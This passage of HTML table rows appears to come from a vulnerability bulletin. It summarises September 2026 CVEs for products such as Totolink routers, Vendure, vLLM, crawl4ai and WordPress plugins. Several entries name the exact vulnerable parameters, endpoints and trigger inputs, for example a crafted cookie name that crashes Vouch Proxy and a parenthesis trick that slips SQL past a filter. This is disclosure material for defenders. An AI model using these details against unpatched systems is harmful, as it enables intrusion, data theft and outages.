&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Totolink A3002MU Hh-B20211125.1046. This affects the function formSchedule of the file /boafrm/formSchedule. Performing a manipulation of the argument webpage results in buffer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93738&quot; target=&quot;_blank&quot;&gt;CVE-2026-93738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Totolink A3002MU Hh-B20211125.1046. This impacts the function formWlAc of the file /boafrm/formWlAc. Executing a manipulation of the argument submit-url can lead to buffer overflow. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93739&quot; target=&quot;_blank&quot;&gt;CVE-2026-93739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A weakness has been identified in Totolink A3002MU Hh-B20211125.1046. Affected by this issue is the function formWsc of the file /boafrm/formWsc. This manipulation of the argument localPin causes command injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93742&quot; target=&quot;_blank&quot;&gt;CVE-2026-93742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TOTOLINK--X5000R&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in TOTOLINK X5000R 9.1.0cu.2089_B20211224. The impacted element is the function exportOvpn of the file /cgi-bin/cstecgi.cgi?action=exportOvpn&amp;amp;type=user of the component Export Ovpn Handler. The manipulation of the argument filetype leads to os command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91853&quot; target=&quot;_blank&quot;&gt;CVE-2026-91853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;traccar--traccar&lt;/td&gt;
&lt;td&gt;Traccar is an open source GPS tracking system. Prior to 6.14.0, an authenticated, non-readonly user with access to an object usable in a permission pair can submit DELETE /api/permissions with an extra attacker-controlled JSON key. Permission(LinkedHashMap&amp;lt;String, Long&amp;gt;) in src/main/java/org/traccar/model/Permission.java validates only the first two keys, but DatabaseStorage.removePermission() in src/main/java/org/traccar/storage/DatabaseStorage.java concatenates every map key into the SQL WHERE clause as a column identifier. The extra key therefore becomes attacker-controlled SQL and provides a blind boolean or error oracle that can extract arbitrary database values, including administrator email, password hashes, and salts, or conditionally delete permission rows. Unauthenticated requests are rejected. This issue is fixed in 6.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52851&quot; target=&quot;_blank&quot;&gt;CVE-2026-52851&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tribulant Software--Newsletters&lt;/td&gt;
&lt;td&gt;Administrator SQL Injection in Newsletters &amp;lt;= 4.18 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66619&quot; target=&quot;_blank&quot;&gt;CVE-2026-66619&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;triggerdotdev--trigger.dev&lt;/td&gt;
&lt;td&gt;Trigger.dev before 4.6.0 fails to verify that an authenticated user controls a GitHub App installation before binding it to their organization. Attackers can claim another user&#039;s GitHub App installation by replaying state cookies and supplying sequential installation identifiers, gaining unauthorized access to the victim&#039;s repositories.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92773&quot; target=&quot;_blank&quot;&gt;CVE-2026-92773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TYPO3--direct_mail&lt;/td&gt;
&lt;td&gt;An issue was discovered in the direct_mail (aka Direct Mail) extension through 9.5.1 for TYPO3. The Configuration backend module of the extension allows an authenticated user to write to an arbitrary TSConfig page for folders configured as Direct Mail. Exploiting this may lead to Configuration Injection (TYPO3 10.4 and above) and to Arbitrary Code Execution (TYPO3 9.5 and below). A valid backend user account, with access to the Direct Mail Configuration backend module, is needed to exploit this.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-50461&quot; target=&quot;_blank&quot;&gt;CVE-2023-50461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;uber--kraken&lt;/td&gt;
&lt;td&gt;Uber Kraken through 0.1.29 fails to validate the tag parameter in the /tags/{tag} endpoint, allowing unauthenticated attackers to traverse outside the configured storage root. Attackers can use percent-encoded parent-directory segments in the tag parameter to read arbitrary files accessible to the testfs backend process.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92791&quot; target=&quot;_blank&quot;&gt;CVE-2026-92791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ultravioletrs--cocos&lt;/td&gt;
&lt;td&gt;trusted execution environments. In versions up to and including 0.8.2, the intra-handshake attested TLS (aTLS) Intel TDX verification path does not copy the expected current-session freshness value into the TDX quote-body policy before quote validation, so structurally valid TDX QuoteV4 Evidence is accepted without checking that its REPORT_DATA field matches the reportData expected for the current session. A relying party using this path can therefore accept Evidence with a mismatched or reused reportData and release application data after the handshake, enabling session-misbinding to an unintended attestation context. The issue is fixed in version 0.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92701&quot; target=&quot;_blank&quot;&gt;CVE-2026-92701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ultravioletrs--cocos&lt;/td&gt;
&lt;td&gt;Cocos AI is a confidential computing system for running AI workloads inside trusted execution environments. In versions up to and including 0.8.2, the intra-handshake attested TLS (aTLS) AMD SEV-SNP verification path does not enforce attestation freshness when the expected reportData value is nil, empty, or omitted, leaving the SEV-SNP policy ReportData unset so the verifier accepts unrelated or stale Evidence not bound to the current connection. A relying party that uses this path without an expected reportData as a trust or authorization decision can be induced to trust an unintended attestation context; a supplied non-empty reportData is still validated. The issue is fixed in version 0.9.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92702&quot; target=&quot;_blank&quot;&gt;CVE-2026-92702&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;unclecode--crawl4ai&lt;/td&gt;
&lt;td&gt;crawl4ai before 0.9.3 contains an arbitrary file write vulnerability in PDFContentScrapingStrategy where the _filter_untrusted_fields function fails to validate untrusted configuration fields. Attackers can submit crafted config bodies with malicious image_save_dir paths to write attacker-controlled bytes into any directory accessible to the service account.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91940&quot; target=&quot;_blank&quot;&gt;CVE-2026-91940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;unclecode--crawl4ai&lt;/td&gt;
&lt;td&gt;Crawl4AI before 0.9.3 contains an uncontrolled resource consumption vulnerability in PDFContentScrapingStrategy that allows untrusted clients to cause denial of service. Attackers can select the PDF scraping strategy in POST requests to download large remote PDFs without size or page limits, exhausting disk, CPU, and bandwidth on shared workers.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91941&quot; target=&quot;_blank&quot;&gt;CVE-2026-91941&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;unclecode--crawl4ai&lt;/td&gt;
&lt;td&gt;Crawl4AI before 0.9.3 contains a server-side request forgery vulnerability in PDFContentScrapingStrategy where _get_pdf_path() re-downloads targets with Python requests without egress validation. Authenticated attackers can supply URLs that redirect to internal addresses or use DNS rebinding to access internal services, exfiltrating responses through PDF text extraction in crawl results.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91943&quot; target=&quot;_blank&quot;&gt;CVE-2026-91943&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;uutils--coreutils&lt;/td&gt;
&lt;td&gt;uutils coreutils versions before 0.10.0 apply setuid or setgid mode to install destinations before finalizing ownership changes, allowing privileged users to leave setuid executables owned by the privileged invoker when ownership changes fail. Attackers can execute leftover setuid files with elevated privileges when ownership change operations fail on capability-restricted systems.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93658&quot; target=&quot;_blank&quot;&gt;CVE-2026-93658&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;uvdesk--community-skeleton&lt;/td&gt;
&lt;td&gt;UVdesk Community Skeleton through 1.1.8 fails to authenticate or validate installation state on wizard endpoints in ConfigureHelpdesk controller actions. Unauthenticated attackers can repoint the database and create super administrator accounts by submitting crafted requests to wizard endpoints, gaining full control of the instance.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92805&quot; target=&quot;_blank&quot;&gt;CVE-2026-92805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;valhalla--valhalla&lt;/td&gt;
&lt;td&gt;Valhalla is an open source routing engine and accompanying libraries for use with OpenStreetMap data. In 3.7.0 and earlier, a POST request to /sources_to_targets containing an exclude_polygons ring formed by three collinear points can cause unbounded memory growth in the worker. The zero-area geometry, rather than the other request options, triggers processing in src/loki/polygon_search.cc until the process is terminated by the out-of-memory killer. A single unauthenticated request can therefore stop a public-facing worker. Other endpoints that accept exclude_polygons, including /route, were not verified as affected. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54716&quot; target=&quot;_blank&quot;&gt;CVE-2026-54716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Vanderbilt University--REDCap&lt;/td&gt;
&lt;td&gt;An unauthenticated Remote Code Execution vulnerability was found in the survey passthrough routing and Data Import processing logic, in which a malicious user could potentially exploit it by manipulating HTTP requests to access an unintended controller route from a public survey context and by supplying a crafted file-path/stream parameter during import handling. If successfully exploited, this could allow the attacker to remotely execute arbitrary code on the REDCap server. The attacker does not have to be authenticated in order to exploit this, but exploitation requires knowledge of a valid public survey hash. This vulnerability exists in REDCap 13.3.0 and higher.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90817&quot; target=&quot;_blank&quot;&gt;CVE-2026-90817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vas3k--TaxHacker&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in vas3k TaxHacker up to 0.8.5. Affected is the function generateInvoicePDF of the file /apps/invoices/actions.ts of the component Invoice PDF Renderer. Performing a manipulation of the argument businessLogo results in server-side request forgery. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94039&quot; target=&quot;_blank&quot;&gt;CVE-2026-94039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vendurehq--vendure&lt;/td&gt;
&lt;td&gt;Vendure is an open-source headless commerce platform. Prior to 3.7.0, ExternalAuthenticationService.createCustomerAndUser in packages/core/src/service/helpers/external-authentication/external-authentication.service.ts selects an existing customer user by emailAddress and attaches a newly presented ExternalAuthenticationMethod without requiring verified to be true. In deployments with a custom external AuthenticationStrategy that forwards an email whose ownership the provider has not verified, an attacker can authenticate with a victim&#039;s email and bind the attacker&#039;s external identity to the victim&#039;s existing account. This can expose orders, addresses, and personal information and permit account changes or orders as the victim. Native-only email and password deployments and external strategies that always require provider-verified email ownership are unaffected, and new-account creation for an unused email remains permitted. This issue is fixed in version 3.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63472&quot; target=&quot;_blank&quot;&gt;CVE-2026-63472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vendurehq--vendure&lt;/td&gt;
&lt;td&gt;Vendure is an open-source headless commerce platform. Prior to 3.6.5, RichTextDescriptionCell in packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx attempts to strip markup by assigning an administrator-controlled description to a live element&#039;s innerHTML and then reading textContent. Active resource markup can execute an event handler during the innerHTML assignment before textContent is read. A lower-privilege administrator can store such markup in descriptions rendered by the Products list, Collections list, Promotions list, Payment Methods list, or Shipping Methods list, and script executes when another administrator views the affected row. This stored cross-site scripting can compromise the viewing administrator&#039;s session and enable cross-privilege or cross-channel administrative actions. This issue is fixed in version 3.6.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63459&quot; target=&quot;_blank&quot;&gt;CVE-2026-63459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vendurehq--vendure&lt;/td&gt;
&lt;td&gt;Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop GraphQL API allows an unauthenticated caller to supply a catastrophically backtracking pattern through StringOperators.regex. packages/core/src/service/helpers/list-query-builder/parse-filter-params.ts passes the raw pattern to the REGEXP implementation registered by packages/core/src/service/helpers/list-query-builder/list-query-builder.ts, and better-sqlite3 and sqljs evaluate it synchronously in the Node.js event loop. ShopProductsResolver.products is publicly reachable, so one nested-quantifier pattern can block request processing and make the storefront and admin API unavailable, while repeated requests can sustain denial of service. PostgreSQL and MySQL or MariaDB deployments do not execute this regular expression in the Node.js event loop. This issue is fixed in version 3.6.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63460&quot; target=&quot;_blank&quot;&gt;CVE-2026-63460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;virtio-win--kvm-guest-drivers-windows&lt;/td&gt;
&lt;td&gt;virtio-win provides Windows paravirtualized drivers for QEMU and KVM. From mm210 until mm320, the Viosock driver permits a low-privilege local process to submit an IOCTL_SELECT request with attacker-controlled VIRTIO_VSOCK_SELECT.Fdss[*].fd_count values that overflow the 32-bit sum used by VIOSockSelect for bounds checking. The wrapped sum can pass the FD_SETSIZE check even though an individual descriptor count is much larger than the expected limit. VIOSockSelectCopyFds then iterates using the unchecked count and writes beyond the allocated pPkt-&amp;gt;Fds array in the NonPagedPool kernel heap. Successful exploitation can corrupt kernel memory and enable privilege escalation in a Windows guest running the driver. This issue is fixed in mm320.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46655&quot; target=&quot;_blank&quot;&gt;CVE-2026-46655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM through 0.29.0 fails to properly clean up decode-side metadata for rejected inference requests in prefill/decode disaggregated deployments. Remote attackers can submit requests with max_tokens=0 to exhaust decode-worker memory without bound until the worker restarts.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93436&quot; target=&quot;_blank&quot;&gt;CVE-2026-93436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM versions before 0.28.0 fail to validate the lower bound of token IDs in the /v1/embeddings and /pooling endpoints, allowing unauthenticated attackers to crash the engine by submitting negative token IDs. A single request with a negative token ID triggers a CUDA device-side assertion that poisons the GPU context, causing all subsequent requests to fail until the process restarts.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93592&quot; target=&quot;_blank&quot;&gt;CVE-2026-93592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vmDeshpande--ai-agent-automation&lt;/td&gt;
&lt;td&gt;AI Agent Automation is a modular AI agent workflow automation platform with schedulers, tools, and observability. Prior to 0.9.1, backend/src/controllers/memory.controller.js authenticates requests but listMemories, deleteMemory, and clearAgentMemory use a caller-supplied agentId or memory _id without verifying through the related Agent that the record belongs to req.user. An authenticated attacker who knows or obtains another user&#039;s identifiers can read victim AgentMemory content, including conversation history, agent context, task data, embeddings, and metadata, delete an individual victim memory, or clear all memory belonging to a victim agent. This breaks tenant isolation and causes unauthorized disclosure and data loss. This issue is fixed in version 0.9.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54519&quot; target=&quot;_blank&quot;&gt;CVE-2026-54519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vmDeshpande--ai-agent-automation&lt;/td&gt;
&lt;td&gt;AI Agent Automation is a modular AI agent workflow automation platform with schedulers, tools, and observability. Prior to 0.9.1, the executeStep file-step implementation in backend/src/agents/executor.js passes the user-controlled step.path value through path.resolve with process.cwd() and then uses the resulting path for read or write operations without checking that it remains in an approved workflow directory. An authenticated user who can create or modify workflow file steps can supply traversal segments to escape the intended workspace and read sensitive files or write and overwrite files accessible to the backend process, including application-adjacent files when process permissions allow. This issue is fixed in version 0.9.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54520&quot; target=&quot;_blank&quot;&gt;CVE-2026-54520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vouch--vouch-proxy&lt;/td&gt;
&lt;td&gt;Vouch Proxy is an SSO and OAuth/OIDC login solution for Nginx using the auth_request module. Prior to 0.48.0, Cookie in pkg/cookie/cookie.go parses the total part count from an attacker-controlled multipart cookie name and passes the value to make([]string, numParts) without checking that the value is positive or reasonably bounded. Requests to /validate and /_external-auth-:id reach JWTCacheHandler in pkg/jwtmanager/jwtcache.go, FindJWT in pkg/jwtmanager/jwtmanager.go, and the vulnerable cookie reassembly before JWT validation, so no account or valid session is required. A cookie name such as VouchCookie_1of10000000000 causes an attempted slice allocation of roughly 160 GB and a fatal Go runtime out-of-memory condition, allowing one request to crash the authentication proxy and repeated requests to sustain unavailability. This vulnerability is fixed in 0.48.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55149&quot; target=&quot;_blank&quot;&gt;CVE-2026-55149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wandb--wandb&lt;/td&gt;
&lt;td&gt;Weights &amp;amp; Biases wandb before 0.29.0 fails to validate the file name from server responses in the File.download function, allowing path traversal attacks. Attackers controlling the backend can supply file names with directory traversal sequences to write files outside the intended download directory, potentially enabling code execution through modification of shell startup files or Python import paths.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91771&quot; target=&quot;_blank&quot;&gt;CVE-2026-91771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wclovers--WCFM Marketplace Multivendor Marketplace for WooCommerce&lt;/td&gt;
&lt;td&gt;The WCFM Marketplace - Multivendor Marketplace for WooCommerce plugin for WordPress is vulnerable to generic SQL Injection via the &#039;wcfmmp_user_location_lng&#039; parameter in all versions up to, and including, 3.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18442&quot; target=&quot;_blank&quot;&gt;CVE-2026-18442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WCVendors--WC Vendors Marketplace&lt;/td&gt;
&lt;td&gt;Administrator SQL Injection in WC Vendors Marketplace &amp;lt;= 2.7.2.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66625&quot; target=&quot;_blank&quot;&gt;CVE-2026-66625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Weaver Network Co., Ltd.--E-cology&lt;/td&gt;
&lt;td&gt;Weaver E-cology contains an unauthenticated SQL injection vulnerability that allows remote attackers to execute arbitrary SQL queries by submitting malicious input through the userIdentifiers GET parameter in the mobile plugin endpoint. Attackers can bypass space-based filter controls by wrapping SQL keywords in parentheses to perform UNION-based injection and extract sensitive data including administrator credential hashes from the database. Exploitation evidence was first observed by the Shadowserver Foundation on 2022-07-28.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2019-25776&quot; target=&quot;_blank&quot;&gt;CVE-2019-25776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;web-infra-dev--rsbuild&lt;/td&gt;
&lt;td&gt;Rsbuild before 2.0.9 contains a command injection vulnerability that allows attackers to execute arbitrary OS commands by supplying a crafted URL containing shell metacharacters to the server.open configuration on macOS. The openBrowser() function in packages/core/src/server/open.ts passes the URL through encodeURI() before interpolating it into a shell command executed via child_process.exec(), but because encodeURI() does not encode dollar signs, parentheses, or semicolons, embedded shell metacharacters are evaluated by /bin/sh, enabling arbitrary command execution.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-10144&quot; target=&quot;_blank&quot;&gt;CVE-2026-10144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wktk--conflibot&lt;/td&gt;
&lt;td&gt;Conflibot warns in advance when merging a pull request will cause conflicts in other open pull requests. Prior to 1.2.1, src/index.ts builds git checkout, git merge, and git format-patch commands by interpolating the attacker-controlled pull request head.ref value into strings passed to exec. In the documented pull_request_target configuration, an attacker can open a pull request, including from a fork, whose branch name contains shell metacharacters, and the workflow automatically interprets those characters as commands without maintainer interaction. The commands execute on a runner with base-repository secrets and a write-scoped GITHUB_TOKEN, allowing arbitrary command execution, secret or token exfiltration, unauthorized pushes, and other token abuse. The fixed implementations in src/index.ts and src/conflibot.ts use execFile or spawn argument arrays, and the v2 line also uses numeric pull-request refs rather than branch names. This issue is fixed in versions 1.2.1 and 2.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55158&quot; target=&quot;_blank&quot;&gt;CVE-2026-55158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Cloud Plugins/_deleeuw_--Use-your-Drive | Google Drive plugin for WordPress&lt;/td&gt;
&lt;td&gt;The WP Cloud Plugins Use-your-Drive, Out-of-the-Box, Share-one-Drive, and Lets-Box plugins for WordPress are vulnerable to Arbitrary File Upload in all versions from 2.0 up to, and including, 3.8.3 via the download_file_to_uploads function. This is due to the import action being registered for unauthenticated users via wp_ajax_nopriv_, a missing capability check in can_import(), and the imported file&#039;s extension and contents not being validated against get_allowed_mime_types() before it is written to the uploads directory. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93031&quot; target=&quot;_blank&quot;&gt;CVE-2026-93031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP Inventory--WP Inventory Manager&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in WP Inventory Manager &amp;lt;= 2.5.4 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90887&quot; target=&quot;_blank&quot;&gt;CVE-2026-90887&lt;/a&gt;&lt;/td&gt;
